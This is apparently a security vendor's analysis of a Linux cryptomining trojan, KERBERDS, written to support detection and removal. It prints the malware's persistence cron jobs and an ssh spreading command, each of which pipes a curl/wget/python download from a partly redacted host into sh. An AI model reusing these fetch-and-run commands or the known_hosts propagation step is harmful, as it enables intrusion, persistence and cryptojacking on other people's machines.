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Trojan.SH.KERBERDS.A

October 25, 2019
 Analysis by: Jemimah Mae Molina
 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet


This new version of KERBERDS, a cryptomining malware that uses an ld.so.preload-based rootkit for stealth, now hides CNC traffic in DNS TXT records.

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

3,796 bytes

File Type:

Other

Memory Resident:

No

Initial Samples Received Date:

24 Oct 2019

Payload:

Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://img.{BLOCKED}t.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png - detected as Trojan.Linux.KERBERDS.UWEJL (64-bit)
  • http://img.{BLOCKED}t.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png - detected as Trojan.Linux.KERBERDS.UWEJL (32-bit)
  • http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (64-bit)
  • http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (32-bit)
  • https://user-images.{BLOCKED}usercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (64-bit)
  • https://user-images.{BLOCKED}usercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (32-bit)

It saves the files it downloads using the following names:

  • 48f14124d703c2

Other Details

This Trojan does the following:

  • It creates the following cron jobs for persistence:
    • Path: /var/spool/cron/crontabs/root
      Schedule: Every 10 minutes
      Command: */10 * * * * (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh
    • Path: /etc/crontab
      Schedule: Every 10 minutes
      Command: */10 * * * * root (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen("http://lsd.{BLOCKED}ten.org").read()'||/usr/local/sbin/48f14124d703c2)|sh
  • It removes the immutable property of the following files:
    • /etc/cron*
    • /var/spool/cron*
  • It executes the following command on every host in the known_hosts file via ssh:
    • (curl -fsSL lsd.{BLOCKED}ten.org||wget -q -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh >/dev/null 2>&1 &

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.450.07

FIRST VSAPI PATTERN DATE:

24 Oct 2019

VSAPI OPR PATTERN File:

15.451.00

VSAPI OPR PATTERN Date:

25 Oct 2019

Scan your computer with your Trend Micro product to delete files detected as Trojan.SH.KERBERDS.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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